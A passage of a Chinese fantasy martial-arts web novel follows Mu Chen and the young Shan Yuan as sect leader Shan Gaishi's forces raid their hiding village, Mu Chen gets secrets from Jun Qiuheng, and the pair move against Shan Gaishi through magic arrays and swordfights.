为了不殃及村民,慕沉好生交代单缘:“你且在这等着,我先去与他们周旋。”随后即刻转身往村口奔去。
单缘瞳孔紧缩,急忙要拉慕沉的衣角,却没拉住。末了,怔怔地看着他的背影,低声喊了一句:“先生……”
等慕沉赶到村口现场,被一幕画面所惊呆:那些村民,手中拿着的不再是所谓的“趁手工具”,纷纷成为流星锤,长矛长枪和狼牙棒……还有与他们比较相熟的罗姑娘,手中握着双刃,倒是赵猎头还是提着大刀,气势相当足地站在排头。这架势,活像山寨的土匪与对面的约群架。
两边纷纷剑拔弩张,无形的硝烟弥漫着,仿佛下一秒就有一场血战。
慕沉:“……”
没想到这小小莫闻村,竟个个卧虎藏龙。
村长站在队伍最后,转头便看到慕沉,忙不迭地走到他面前,回头观望一下局势,双方仍在对峙着,稍稍松口气,小声告诉他:“你不要露面,先躲远一点。”
“这……”慕沉有些为难,事到如今必须要告诉村长他们来村里的真相,“其实——”
谁知村长直接打断他的话语,面不改色地点头:“我知道,这群人是来追杀你们二人的。”
这下换他不明所以:“村长如何得知?”
不过料想也不难猜,前脚他们刚进村,后脚没几天就有人不眠不休搜山,除非有人眼睛瞎了,耳朵聋了,脑袋进水了才猜不出。
但村长还真不是因为这个原因。村长淡然开口:“其实村里每个人,都跟你一样。”
都是经历了追杀或者缉拿,躲到山上。运气好时,那些捉拿他们的人找不到此处,自然也就放弃;运气不好时,像慕、单二人一样,追到了村里,那么所有村民自然一致对外,赶跑外人。管对面是好人坏人,只要进了村就是家人。
慕沉似乎明白了,难怪刚来的第一天就有人说他们进村的措辞与村民都大差不差,原来都是借口,彼此之间看破不说破;难怪村民这么容易就接纳他们,而且即使知道有人搜山也有恃无恐。毕竟这个村,什么鱼龙混杂的人都有,个个都是有身份的人。
难怪叫莫闻村,莫听,莫看,莫问,莫寻。
话说回来,村长执意要他躲起来别露面,感动之余,他还是担忧更甚。他偷摸着观察对面,除了绝音阁自家培养的能人,还有很多江湖上的好手,应当是重金聘请的异士。
最重要的是,单陔识竟然亲自出马,来到这穷乡僻壤。
他倒是越发好奇单缘身上的秘密了。
终于,单陔识按耐不住,挥了挥手,示意手下的人开打。
刹那间,两拨人进入混战。
慕沉还没加入就被村长带到草丛里摁住藏身,不知村长为何对于他要躲藏一事如此执着,村长只是神秘一笑,告诉他这是村里的传统。他只得先观战,打算一会儿趁其不备马上溜出去。
他将目光注意在村民身上。只见赵猎头低吼一声,随即一挥刀劈去,力大如牛,势头很足,对面几个人才堪堪接住;先前拿鸡毛掸子的吴婶此刻手握长鞭,以一挑三战力惊人——这两人应当就是村里武力的顶梁柱。
出乎意料的是罗依婧罗姑娘,平日里看她洗衣做饭,笑脸盈盈的,宛如大家闺秀,如今一看还真是,就算身处恶战也仿若翩翩起舞,身姿曼妙。就算使的是短刃,身法招式也丝毫不落下乘。雅,实在是雅。
即使忽生变故,村长也丝毫不慌,看来是有原因的。
不过单陔识淡漠地看着这一切,似乎留有后手。
刹那间,周围散出一股奇怪的气息,环境瞬息变幻,他也无处遁形了。果不其然,应当是单陔识启动了阵法。这阵法让所有人进入幻境,短时间内竟涌出大量的黑团,他定睛一看,和上次单陔识捉拿他用的黑团一模一样。
凡进入此阵者,除了单陔识一众外皆被那些黑团毫无缘由地攻击,村民没遇到过这种情形,已经无暇顾及那些乌合之众,纷纷躲闪黑团的袭击。
“哪个杀千刀的使这种下三滥的手段!”赵猎头唾骂一声,对着黑团乱砍。
慕沉泰然自若地起身,理了理衣裳,然后面不改色朝其中一团劈下,动静很大,有一部分人都惊了,愣在原处看着他。
他要的就是这种效果。显然单陔识也注意到他,眯了眯眼。
慕沉缓缓走到对方面前,敷衍一笑:“好久不见啊,单阁主。”
“没想到在这里还能遇见慕公子,”单陔识意味不明地笑了,“倒真是意外之喜了。”
去你的意外之喜。“哈哈,是啊。”他象征性地回了一下,听见了几个倒地声,随即提醒:“单阁主不妨将阵撤了再寒暄也不迟。”
“我们之间有什么可说的?”单陔识面色阴沉,翻脸比翻书还快。
“那倒也是。”说着,慕沉握紧剑柄,直击对方。
单陔识目光一凛,避也不避,有两个修士冲上来替他挡住,而后同时对
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慕沉展开攻击。
差点忘了单陔识身后还有左膀右臂,原本还想试探一下对方。
慕沉想着,一个不留神就被划了一道口子。“嘶——”就不能换个地方砍吗?又是这个位置!
这些黑影似乎对血腥味很敏感,不过多时便逐渐聚拢,几乎下一秒就要将慕沉吞噬。
他瞥见单陔识快要得逞的表情,心中暗道不妙。犹记上次黑影的冲击力,他不想体验第二次。
正当他快速思考对策之时,一阵更浓烈的血腥味弥漫开来。瞬时间,黑影四分五裂,到处乱窜。
慕沉感觉到另一股力量腾起,幻化为阵,正与单陔识的诡阵无形抗衡,不过多时,诡阵便会瓦解。
按理说他现在应该松口气,然后帮那个施阵者对付单陔识。可他此刻莫名有种预感,施阵者是单缘。
单陔识冷笑一声,道:“终于出来了。”
霎时间,幻境分崩离析,又回到了现实!
他心下一沉,转头就看到不远处的单缘,眉头一皱。对方正是浓重血腥味的来源。
单缘竟以自身为阵,以血为引,用这种损人不利己的方式对抗单陔识,稍有不慎就遭其反噬,性命攸关!
好在阵倒是破了。单缘似乎很了解破此阵的方法,十分镇定,不过因为耗尽心力,有些支撑不住。末了看着慕沉,嘴里嘀咕着:“先生……”
他上前扶住,低声询问:“还好吗?”
但问完他就有些后悔,觉得自己问了个废话,看对方这样子怎么都不像好。随后又开口:“别说话了,先坐着休息一下。”说着把单缘扶到一旁的石头坐着。
“哦?”单陔识挑了挑眉,看着二人,“你们倒是有意思。”
“别说废话了,”慕沉再次走到单陔识面前,面无表情道,“单阁主如此大费周章,亲自跑到这荒山野岭里,就是为了捉拿一个‘手无缚鸡之力’的少年吗?”
单陔识好似听了什么笑话,冷笑一声,盯着他身后的少年。“刚才破阵之时怎么不见他手无缚鸡?”然后与慕沉对视,“我还以为他会告诉你些什么,看来并没有。不过不重要了。”单陔识作出了一个“请”的手势,并示意手下上前押住单缘。
慕沉不动声色地用剑挡住那两个手下,对单陔识说:“我若是不愿意,单阁主怕是也无可奈何。”
单陔识虚伪一笑:“慕公子大可试试,我不介意再开一次阵法。”言外之意,单缘已经无力解决,可他却可开启无穷无尽的阵,耗也能把他们耗死。
要是只有他二人还好说,只是村民为了拦住单陔识已经导致有些人受了伤。本来连累村民,就已经是缺大德的事了。
“罢了,去一趟便是。”他耸了耸肩,似笑非笑,“只是希望单阁主别再给我吃牢饭了。”
朝村民们告别后他们就前去绝音阁。
村长似乎有些痛心疾首,还想拦住他。
慕沉笑了笑,对村长说:“实在抱歉,连累了村民。等我处理好手头的事定会回来陪个不是的。”
村长哪还能说什么,叹了口气,便不再阻拦。
20. 静夜无声君子盟
莫闻村山高路远,与绝音阁不仅隔了一座城,还隔了一座山。
他们辗转了三四天,又回到那个熟悉的地方——让他吃牢饭的门派。
单陔识仿佛忘记先前与他闹过的不愉快,倒是把他当成贵客招待着。只是单缘就不知道被带到哪里了。
慕沉重回此处有两件事想弄清楚,一是前任阁主与单陔识的纠葛,二是单缘身上的秘密。当然,这两件事也有可能是相互串联着。
单陔识决计不可能告诉他,倘若涉及辛秘,那阁中知情人更是不会对他透露半分。
不过,他倒是想到一人,可能知道,便必定会告诉他。
只是问遍阁人,皆不知君秋恒踪迹,要么就是顾左右而言他。想来上次放跑他似乎受了什么牵连,单陔识这种狡诈之人应当不会放过。
慕沉无法,只得到单陔识面前寻人。
“单缘在哪?”慕沉开门见山。
“哦?慕公子倒是清闲。”单陔识皮笑肉不笑地看着他,“看来你很喜欢他啊。”
“还行吧。”慕沉随口一说,“我不喜欢他,难道喜欢你吗?”
单陔识一脸吃瘪的表情简直让他心里暗爽。
“慕公子还是少知道一些事比较好。等哪天慕公子想通了,把信物交出,单某便让你离开。”
我的天,单陔识不会觉得他是被迫待在绝音阁的吧?慕沉内心吐槽,他想离开此处还不是分分钟的事。
“单阁主怕是误会什么,在下不曾说过要走。”赖在这了,没想到吧。
单陔识笑容一僵,意味不明地看着他。
“你想要的东西,我可以给你。”说着,他摊开手掌,赫然是义父给他的扳指,横竖他留着也没什么用。“代价。”
“只要不太过分,单某都会满足。”
他不知道这块扳指起的是什么作用,有什么价值,若是早早交出就早早没有谈判的筹码。
慕沉笑了笑,默默把扳指收回。“君秋恒呢,我要跟他说几句话。”
单陔识视线始终盯着扳指,不甘心地看着它消失在眼前。末了,嗤笑一声,道:“慕公子这是把绝音阁当自己家了,想做什么便做什么?”
“对,我没眼力见。”慕沉面不改色地开口,“所以还请单阁主告知。”
有那么一瞬间,单陔识想直接动手了。不过最后还是忍住,打开案桌前的卷轴,神色不明地看着他:“据单某所知,此信物是老阁主托予他昔日好友何乔烨,按理说现在应当在其子何朔生手上。那么慕公子是从何得来?”
单陔识笑里藏刀,这便开始发难。
可惜找错了对象。他慢条斯理,气定神闲地开口:“自然是人托付于我。单阁主现在才怀疑,不觉得有点太晚了吗?”
凡事讲究一个理字。单陔识没有确切的证据,就不能拿慕沉如何。只是让他想不通的是,分明之前请他坐牢时毫无半分道理可言,怎么如今倒像是不想得罪他了?
不管对方打的什么算盘,见招拆招就是了。
两人都在打马虎眼,那就没有聊的必要了。在单陔识这里果然是套不出任何话。既然这样,不如直接将整个门派翻一番。
不过出乎意料的是,待他回到厢房后,茶桌上俨然多出一张字条:丑时三刻,西院倒座,一柱香。
……言简意赅,得来全不费功夫。也不知对方是如何躲过众多眼线放进来的,想必有点城府。此人可不可信另说,见一面还是有必要的。
等到约定时间,慕沉直接从窗口翻了出去,谨小慎微的。但很快他就发现,此时并无人员把守,甚至可以大摇大摆地走。怕就怕在是白天单陔识有所察觉,想来个瓮中捉鳖。
然而并没有。这就有点不合常理了。
慕沉如约而至,轻轻推开房门,幽黄的灯影轻晃,照映出一张熟悉的面孔。是君秋恒。见对方不急不缓地拿起茶杯抿了一口,他迅速关上门,坐在方桌对面,淡淡道:“君公子好雅兴,大半夜喝茶。”
“不过是普通的水罢了。”君秋恒也给他倒了一杯,抬头与他对视,“慕公子可曾猜到是我?”
“嗯,猜到了。”他指的不单单是那张字条,今天晚上绝音阁的反常,大抵也是对方所为。“想不到,君公子在绝音阁,人脉颇多啊。”
“慕公子说笑了。我知你要问什么。只要是君某所知,必定事无巨细。”
慕沉感慨一下,接着道出来此的目的:“老阁主与如今的阁主,究竟有什么纠葛?”
“先阁主广结善缘,老友众多,你我以及阁中另三位的父母皆在其中。而单陔识像是凭空出现,并且夺取了阁主之位。单陔识此人,想必你也清楚了几分。至于他们之中发生了什么……我两年前才来这里,也不甚清楚。”君秋恒沉声皱眉,似乎不愿意提起这人。
凭空出现就很是奇怪。只是他关注的点却不是这个。
“两年前就来了?”慕沉没料到,之前听丫鬟说过,以为就比他早了几天。
“对,两年。比其他人都早。”君秋恒静静地喝了一口水。
慕沉眯了眯眼。
这大概能说通今晚的事了。不过两年之内能收买绝音阁的内部人员,而且不在少数,想必费了很多心血。也能够看出君秋恒不喜欢单陔识。只是这样的人,明明可以有手段摆脱绝音阁,为什么当时不一起离开,还说“不是时候”?那么对方滞留在这里便另有目的。
他接着问:“那你知道单缘的事吗?我想知道他的一切。”语毕,他发觉自己的话可能有些歧义,怕对方误会,补充道:“我是说他身上有什么秘密,单陔识不论天涯海角都要抓到他?哦,对了,还有这个,究竟有什么用?”说着,他拿出单陔识垂涎已久的信物。
见君秋恒揉了揉额角,对这个扳指头疼不已,严肃警告他:“这东西,千万不能落入单陔识手中。类似的信物有五个,只差你这一个了。”
慕沉听着迷惑,对方便接着娓娓道来:“这便跟单缘也有点关系了。我曾经‘误入’单陔识的地下室,期间看到一扇缺陷的门,正需嵌入这五块信物。我不知门内的东西是何,只是地下室里还关着单缘。”
他不由得仔细听着君秋恒所言。
“单缘当时浑身是伤,我那时被吓到了。只是由于某些原因,我没办法跟他有过多交流。除此之外,地下室内就是一个巨大的阵法。不知你是否听过‘绝生阵’?”
慕沉蹙眉,他之前从未听过。不过现在知道后,莫名觉得,和先前在鸿琛堂所闻的“复生阵”很像。
会是巧合吗?他突然想起,上次遇到鸿琛堂的其中一个长老,姓单。
“不曾。”慕沉回答,静待对方解惑。
君秋恒闻言,笑了笑,说:“我先前也不曾听说。是单缘
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告诉我的,不过他没说此阵作用为何,只说——他是此阵的‘药引子’。”
慕沉顿了顿。
“他被折磨五年至此,想来这阵不是什么好东西。只有邪阵拿活人作引。”君秋恒继续道。
他心头微沉。初见单缘之时,少年就是一身伤。难怪单缘想利用他杀了单陔识,难怪少年放不下过往。
“单缘与先阁主有什么关系吗?”慕沉问。
“……这我还真不知。”君秋恒愣了一下才回答。
单缘若是与先阁主有什么关系,不说人尽皆知,至少不会没人知道。可他打听过的很多人,都不知道——不是不愿意说,是不知道。既然这样,不如直接问单缘。
慕沉低笑一声,手指不自觉地拨弄着茶杯,感觉再问不出更多的东西,便看着君秋恒直言:“你知无不言,想来是要我付出点什么吧?不妨直说。”
君秋恒轻笑出声,摇了摇头。“说出来就太明显了。”
慕沉心想,其实不用说也很明显。不过君秋恒既然不打算说,那他也没拆穿的必要,但笑不语。
对方接着道,“实不相瞒,我先前以为来这会是何初,没想到是你,一个我之前完全不认识的人。”
乍一听这个久违的名字,慕沉居然恍惚了一瞬。何初与之相熟让他有些意想不到。不过仔细想想倒也合理。重要的是,君秋恒是什么时候知晓必定会有人前来投奔绝音阁的?
还有就是,单陔识地下室的一扇门,为什么需要先阁主给好友的这五个信物才能打开?这不合理。单陔识与先阁主的五位好友可没什么关系。
“有一首曲子很特殊,他没教过你吧。”君秋恒从桌子底部拿出一张纸,上面印着的除了曲谱,还有一串咒字:“这是鸿琛堂的弟子修习的,我也是不久前才得到。据说此曲可静心去祟,若是单念咒语也很是管用。给,说不定以后用得到。”
此曲便是清心曲的前身。
慕沉接过端详了一会儿,便收了起来。“多谢。”他看着桌旁一柱香将要燃尽,问了今天最关心的问题:“你知道单缘如今被关在何处?”
“地下室。在地牢最西的牢房,与牢门正对是暗门,用力一推便开。”回答如此之快,仿佛早就知道他会问。
那不就是他曾经吃牢饭的地方?原来那时离单陔识的秘密仅一步之遥。只是当时光想着怎么出去,而且还是全黑的环境,根本没心思观察。单陔识把他关在那里,难道是故意的?
“三日后是长至日,往常单陔识会在那天祭祖。你若是想见单缘,可选择前一天晚上。”君秋恒兀地说出,在提醒些什么。
那岂不是还要等两天?不行。“若是我今晚就想见?”
君秋恒错愕,很快反应过来,点点头。“也不是不行。有一个人能帮你打掩护。”
“谁?”
“文序,也就是单陔识的守卫首领之一。今天正好他安排的轮值,如今应该就在地牢口守着。”
眼看一柱香落灰,慕沉打开房门,抬头望着,此时月色正显。他微微侧身,意味不明地问了一句:“君公子做了这么多,若是我不愿帮你如何?”
余光瞥见君秋恒在拨弄香灰,看不出任何神色道:“我可以一直等。或是万劫不复。”
在最后关门的一刹那,二人视线交汇,无声对笑。
万劫不复?怎么可能。
21. 锋芒尽显阁中人
熟悉的地牢,熟悉的陌生人。
“好久不见啊,‘阿序’?君秋恒应该跟你打过招呼了吧?”路上慕沉就在想,君秋恒若是没有眼线,不可能提早知道来的人不是何初。客栈那一次的视线动机明确,就是对他的试探。最后回禀的对象不止单陔识,还有君秋恒。
如今看到眼前这人,正是叶展佑口中的“阿序”,亦是君秋恒口中的文序。只一个人,便能确定很多事情,甚至一环扣一环。
恐怕叶展佑没想到,自己布的一场戏不过是别人的将计就计;单陔识也没想到,自己培植的守卫玩起了谍中谍。那么单缘还能是偶然出现吗?做这么多,若是只为试探,未免太看得起他了。
文序不言,莫名看了他一眼,默默让道。
他没有犹豫,大摇大摆地走进地牢,直奔最深处的牢房。等打开那扇暗门,一股凉意直冲天灵盖。比起鸿琛堂的那处楼阁,有过之而无不及。都说乱葬岗的阴气人间最重,可还没到底下就已经让人心生胆寒,莫非真是尸横遍野?
通往地下的楼道两旁石壁上布满了蜡烛,一盏一盏地亮起,引领着慕沉往下走。
出乎意料的是,一眼望去除了那扇需要信物开启的最为突出的门,其他的装横倒没什么特别,甚至连一丝血迹也没看见。若是不知道这是个地牢,必定会认为这里的主人有多爱干净。
这时,可能是感知到有人来了,一阵悉索声响动。究其源头,单缘跌坐在地上,双手被铁链吊着,黑布蒙着双眼,看不见来人是谁,只能微微挣动。
他刚刚没看见,地上倒是没什么血迹,全在单缘身上。对方脸颊淌过两行淡淡的血痕,从眼睛处流出,不过如今是干涸模样。
慕沉眼角直跳,这才不过一天,对方身上的伤又是随处可见。他大步流星,顺手托起一把木椅,走到对方面前,扶起少年坐在椅上。
不知单缘是如何认出,试探性地问了句:“先生?”
“是我。”慕沉回答,手已经碰到黑布,想要将其摘下。
“等一下,先生,”单缘感觉到他的行为,急忙开口打断,“先别摘——”
慕沉双手一颤,止住了动作,将手收回,蹙着眉担忧问道:“怎么了?”莫非眼睛真的看不见了?
单缘摇了摇头,似乎听出他的语气,低声回答:“没事的,先生。我先缓一会儿。”
还真就一会儿的时间,慕沉静默观察着,没说多余的话。对方脸上的血痕好像淡了点,可能真如对方所言没多大事。
才怪。他仿佛已经了解了对方的性格,说是没事,指不定在强撑。
“先生,可以了。”
慕沉小心翼翼地取下布条,一双明澈透亮的眼睛在那瞬间与他对视,顿时松了一口气。随后研究对方手腕上的锁链。上次他便发现,这种锁链上的锁对他来说形同虚设,轻而易举就解开了。
他蹲下,视线与之齐平,沉声道:“你从不曾与我说过关于你的事情,不过我大概也能猜到。”
“先生……”单缘有些无措,急忙想解释什么。
他伸手拨整对方有些凌乱的碎发,似是安抚。“我今天来只问你一个问题,至于其他,等一切了结后你愿意说便说吧。”
“——你有多恨单陔识?”
单缘愣了一会,好似没料到他问的是这个,有些猝不及防。
随即,他听见单缘心平气和地回答:“恨之入骨。”
这就是对方的答案。
“……我明白了。”他目光幽邃,缓缓起身。
“先生要走了吗?”单缘抬头望着他。
“还没。除了看看你有没有事外……”不过他看对方并无半点伤痛的模样,倒是微微放心。不知想到了什么,慕沉忍俊不禁,“过几天带你走如何?”
单缘被他感染,目光灼灼地盯着他,也跟他笑起来,不带任何意味的,单纯的笑。
正当准备离开,单缘突然提醒道:“先生,不用恢复原状吗?”
慕沉反应过来,“差点忘了。不过我猜他这几天都不会过来的。那要是我猜错了……到时候他会不会突然向你发难?”
“我怕他找先生麻烦。”单缘摇摇头。
“是吗?”慕沉挑了挑眉,略微思索一番,“我还要找他麻烦呢。既然如此……”
——
回到地面,慕沉回头望了眼暗门所在的方向,神色平静。末了,出牢门与文序打个照面,很快回到自己的房间。
这一夜竟相安无事。以单陔识多疑的性格,难道会察觉不出?
他躺在床榻上,稍微整理了思绪。
按照君秋恒的说辞,单缘被当作所谓的“药引子”折磨多年,对单陔识有恨意实为正常,想要报仇也合情合理;只是君秋恒,说是“误入”地牢,那是小孩子才会信的话,若不是“碰”到了什么“东西”,“听”见了什么“话”,或是“知道”了什么“秘密”,单陔识又有什么理由请他到那个地方做客?
次日,叶展佑找上门。自从上次地牢里不欢而散之后,他们就没再见面。不过倒不为什么,如今叶展佑帮着单陔识做事,来这专门请他去堂屋一见。
他走在后面,随意地问了句:“小叶,你说单陔识给了你什么好处,你这么跟着他?他在我这风评可不太好。”
叶展佑愣了一下,似乎没想到他会主动搭话,毕竟上次他们闹得不是很愉快。最后沉声说:“识时务者为俊杰。”
“这么说,你不是自愿的喽?”慕沉若有似无地笑了一下。
“……我当然是自愿。”叶展佑与他并行,复杂地看了眼他,“慕兄,选择阁主未必不是明智之举。身在一隅,何必与一阁之主作对。况且有些事,不过是一面之词罢了。”
慕沉听出,叶展佑话中有话,有意内涵君秋恒。
君秋恒的有些话确实一面之辞,这点他不否认,但单陔识在莫闻村设下的阵法可不假,他也曾低估并且中过招,虽说他现在好像没多大问题。
“你说的对。所以单阁主今天找我不会是要拉拢我的吧?”慕沉淡淡开口。
叶展佑眉头一挑,含糊其辞:“我自然不知阁主的心思。”
他但笑不语。
堂屋主座,单陔识看起来已经等候多时。叶展佑很自觉地退下,并且带上了门。慕沉找了个位置坐着,想听对方要说什么。
“昨天晚上,与君秋恒聊的可还愉快?”单陔识带着探究,意味不明地笑
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,想要把他盯穿、看透。
此话一出,慕沉就知道昨天的事单陔识都心知肚明。料想也是,一个外人,在门派内所做的行为,怎么可能逃过阁主的视线。
“尚可。”他面不改色,毫无波澜地看着对方。“单阁主,不妨我们开诚布公?”
单陔识出乎意料地挑起眉,唇角微勾,“今日单某叫慕公子前来自然不再兜圈子。单某对慕公子先前的行为赔个不是,慕公子是个聪明人,想必对君秋恒的言辞自有衡量——或许我们根本没必要作对呢?”
“哦?”
“慕公子有勇有谋,单某是见识过的。绝音阁正需要你这样的能人。”
“你们一个两个的还真奇怪,这么看得起我。像叶展佑那样的吗?”
“不,单某更欣赏你。”单陔识眯了眯眼。
慕沉感叹,却不带惋惜的语气说:“哎,叶展佑若是知道该多不好受啊。”他话题一转,“单阁主,接好了——”随即做出抛掷的动作。
单陔识眼疾手快接住,打开手心一看,正是自己等待已久的信物,不免得笑意渐深。正当对方准备开口,突然好大一声响,像是哪里被炸了。而后是一阵急剧的敲门声。
单陔识眉头一跳,下令后一名亲信火急火燎地在其耳边附了几句话,下一秒就面色阴沉地盯着他。
慕沉好笑地看着单陔识的表情,“怎么样?‘物归原主’,单阁主可还满意?”
慕沉知道,单陔识在意的无非就是那扇门后的东西。只要将其“毁掉”,对方定然沉不住气。同样的,君秋恒先前特意提到三日后这种祭祀的特殊日子,必然不会是普通的祭祀这么简单。或许他想在那天采取一些行动,需要慕沉的配合。但是,慕沉提前了——这点单陔识猜的不错,慕沉有自己的思量。
单陔识被气笑,几乎咬牙切齿地说:“看来慕公子诚心不想与我合作——”
“嗐……没办法,毕竟我先承诺某人要找你麻烦的。”他语气轻佻,淡然一笑,“可惜了,原本还想听听单阁主要怎么合作呢。”
“呵,我果真没看错人。”单陔识语气不善。
“过奖。毕竟对付单阁主可不是一件容易的事啊。”他狡黠地看着对方,“再过两日便是长至日,不如我帮单阁主提前过如何?”
充满挑衅意味的言语一出,单陔识拍桌而起,作势招来一柄长剑,凌厉的目光对着他。
“能与单阁主一较高下,倒是让我受宠若惊。”
他侧身躲过单陔识的一击,瞬时间门窗大开,而后迅速离开堂屋。彼时的绝音阁烟雾弥漫,倒不如说是一片特殊的幻境——单缘设下的阵。
单陔识略微犹豫,走出堂门,紧接着竟有一丝透不过气,甚至限制了他的某些能力。不过已经晚了,踏出一步,便是入阵。
对方的这些细微神态他都看在眼里。只是这阵除了雾有些大以外,对他并无半分影响。这就有点耐人寻味了。
单缘……他们二人似乎很懂得怎么对付对方。
这般想着,慕沉挑起了杀意的剑气冲向单陔识,对方竟是避也不避,生生挨了一剑,还能面不改色地看着他。
这个举动在他眼里只有一个意思:单陔识死不了。
22. 绝雾轻掠沉心绪
下一秒,眼前的“单陔识”竟一瞬间化作黑影,驱散了。还没细想,忽地传来一段低沉的埙声,不远不近,透露着种种的不对劲。
是慕沉不对劲。听到埙声后,他能明显感觉到自己有问题,仿佛下一秒就要丧失意识——几乎能马上确定,是之前的黑雾作祟。
慕沉能猜到,单陔识设下的阵不会那么简单,那些黑色的东西没有实体,却好像有意识般,在他体内种下了“根”。先前他只是若有似无的感觉,并没有太在意,没想到,单陔识在这等着他。这东西,究竟有什么影响?
很快他就知道了。
他脑袋昏昏沉沉,仿佛做了一个痛苦的梦。可他又很清楚,他不是在做梦。
是谁占据了他的身体,让他无法从梦境中脱离。
他知道疼痛不过是一时的,一死了之是一件很容易的事。可他先前在这世间存活的努力不就成了一个笑话?
但如今就不是笑话了吗?时至今日,他还是不知道自己能做什么,想做什么。
那些他曾经放不下的,此刻重新唤起他的……他其实不属于这个世界。那些名为“家”的东西,他为什么会一次又一次地失去,再得到,再失去?
慕沉不甘如此孤独和寂寥地活着,却又虚妄地看着自己这么活着。
所以这个玩意是让他面对自己不想面对的东西吗?这么做,除了能产生心魔,他想不到别的可能。
那他趁自己还在梦里,就先在梦境里肆意妄为,杀了很多人,有认识的不认识的,压抑了许久的情感喷涌,像在泄愤。等他砍舒服了,就一把火烧了,躺在火海中,享受火光的温度,有如阿鼻地狱。一切是那么真实。
可慕沉忘了,他自己不会杀人,怎么可能如此娴熟地手起刀落。
他突然就意识到了,顿时冷汗淋漓。静心咒……对了!静心咒!
清心若水,清水即心。微风无起,波澜不惊,幽篁独坐,长啸鸣琴……谁在叫他?
“先生!”单缘唤醒了他,扶着他坐起。他一下子还没缓过来。
眼前是一片火海。慕沉瞳孔骤缩——原来他是在有意识地杀人,不是梦境,是现实!
慕沉有些难以置信,并且难以接受。
他内心波涛汹涌,瞳孔中倒映着火光的颜色,五味杂陈地看着单缘,还没反应过来对方为什么会来找他,以及单陔识不知何处。
“先生。”单缘轻轻唤着,坦然面对他的目光,眼神还是一如往常,却说着不那么合时宜的话:“你说过等一切结束后,我若是愿意说便告诉你……可我现在就想——”
“我其实,一直是故意接近先生的。”
此言一出,仿佛周身都凝住一般,只剩下他们二人。
单缘说着,把手覆在他的手上,大火炙烤着周身的气息,对方的掌心却是冰凉的,让人忍不住想要贴近,给人一种安稳的感觉。
“我同君秋恒一样,一早就知道会有外人投奔而来。我们都在等一个时机,等一个人,可以同我们一起除掉单陔识。刚开始是白澈,可他一看就涉世未深,轻而易举就中了单陔识的计;然后是叶展佑,更是直接投入单陔识门下;余光澄胆子不大,听到君秋恒透露出一点想法就退避三舍……我几乎已经不抱任何期待了,可君秋恒说他的朋友一定会帮我们的。”
火势渐小,周围一片静谧,慕沉只听到单缘的话语声和自己的心跳声。掌心传来的温度十分真实,他几乎已经冷静下来了。
那为什么——
“但是先生,是意料之外的人。”
所以刚开始单缘的出现便是试探,假借“逃跑”被他和叶展佑遇到,亦是提醒他。叶展佑因在一路上露出的种种破绽,才让慕沉不会轻易相信此人。
“可你们就笃定,我能杀了单陔识?”慕沉嗓子有点发哑。
单缘轻微摇头,笑了笑说:“先生一个人或许不足以。”
“是吗?”慕沉问道,“他武功很高吗?我打不过他?”
“不是的,先生。是普通的方法杀不死他。”单缘娓娓道来,“关押先生的那个牢房,先生知道单陔识寓意何为了吧?”
慕沉一愣,回想起昨天晚上他用扳指提前打开了那扇门,倒不如说是一个柜子,里面有一册前阁主夫人的手札,这显然不是单陔识要的东西,而是柜子里的一块玉牌。虽说不知这其中有什么关系,但他隐隐觉得不简单。
烟雾四散,他的周围早已不是幻境,而是实实在在的绝音阁,已尸横遍野,都是阁中弟子,“死”在慕沉的剑下。可单缘却平静地说:
“先生或许不知道,他们看似平常,却早已不是‘活人’,没有自我意识,而是专门为单陔识提供心魔的‘容器’。倒不如说,整座绝音阁都是他的傀儡。他需要心魔来炼化他自己。”
这么邪门?难怪杀不死。“所以,怎么除掉他?”慕沉问。
单缘拿出一个锦盒,早有准备地递给他,“先生只要把五根针分别扎入他的神庭、阳溪和梁丘穴位即可。”
简单来说,就是用针扎单陔识的脑门和四肢。慕沉接过,打开一看,确实放了五根针。不同的是,上面似乎淬了什么,颜色不是普通银色,略有一点暗红。
这件事对他来说应当是不难,只要功夫深,能把单陔识扎穿。不过这么一来,真是纯纯把他当工具人了。
“先生很厉害。因为这对于我来说做不到。”单缘笑脸盈盈地看着他。
“行啊。”慕沉微笑回应,不过找不到目标人物,连叶展佑君秋恒一干人等都不见人影。“话说回来,他们几人怎么没被单陔识做成傀儡?”
“因为绝音阁的‘容器’够他用了。他需要做一些别的。”单缘面色真诚,有问必答,“比如‘更厉害的傀儡’。只是他没有成功过。”
也许慕沉也被单陔识当作实验对象,不过看如今的情形,以及单缘和君秋恒的隐忍了这么久的谋划,就知道单陔识肯定失败了。
那么……慕沉眯了眯眼,意味不明地问道:“你呢?你为什么是最特殊的?被单陔识折磨五年的‘药引子’?”
语毕,他明显感觉对方愣了一瞬。单缘眼神低垂,很快又看向他,不改颜色地笑着说:“这些都是君公子告诉先生的吧?其实只要是姓‘单’,都可以被当作‘药引子’,我不过是比较不幸地被选中罢了。”
对方的神情在他眼里有点像强颜欢笑。
慕沉敛起笑意,想到每次见到单缘都是带着一身伤。“所谓的药引子,难道是需要你的血作引吗?”
“先生猜对了。不过每次只需一滴即可。”单缘有些无所谓,仿佛这么多年已成为习惯,谈笑自如地开口,“他单纯只
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是想折磨我。”
慕沉不再言语。单缘双眼眨动,睫毛微颤,紧接着说道:“我倒是宁愿像那些家族子弟一样,做一个没有意识的傀儡。”
“……”
这么看来,单陔识确实该死。
“先生,”单缘再次唤他,“单陔识还在幻境里,等我解除此阵,成败便看先生的了。”
“嗯。”慕沉也不知哪来的底气,头一次有些自负地夸下海口:“我会胜。”却像是给对方一颗定心丸。而后他让单缘先躲一旁,接下来是他的战场了。
虽说单缘解的阵,但单陔识就像是撕开迷雾走来的样子,凭空出现,晦暗的眼神一下子就锁定了慕沉。
慕沉抱臂而立,波澜不惊。“单阁主真是给我留了好大一个‘惊喜’。看来今日是要一较高下了。”
对面皮笑肉不笑道:“早就想讨教一番。”
随即二人硝烟弥漫,一触即发。
慕沉剑锋处已经见过血了,便如开窍了一般,招式竟带着先前没有的戾气,不再优柔寡断。
许是方才单缘的阵的影响,单陔识受到掣肘,一时落了下风。
“先生!”单缘突然在远处大喊一声。
此时后背感知到一股凉意,他敏捷地侧过身,一支细长的镖划过他的脖颈,往院落深处射去,已不见影。避之不及,他抬手一抹,血痕处隐隐刺痛。
抬眼一看,抛镖的人竟是叶展佑。
玩阴的是吧?
他眼色暗了一瞬,对方没有犹豫就加入攻势,慕沉自然也是丝毫不留情,抵挡另一方的同时专挑其薄弱处下手。
叶展佑先前便不是他的对手,如今更不是。慕沉迅速制住对方动作,抓住衣领朝单缘一推,单缘心领神会,立马上前将刀剑架在对方脖子上。
随即慕沉专心对付单陔识。他生怕单陔识又要整出什么花样,便打算在几招之内将对方压制——他也做到了。
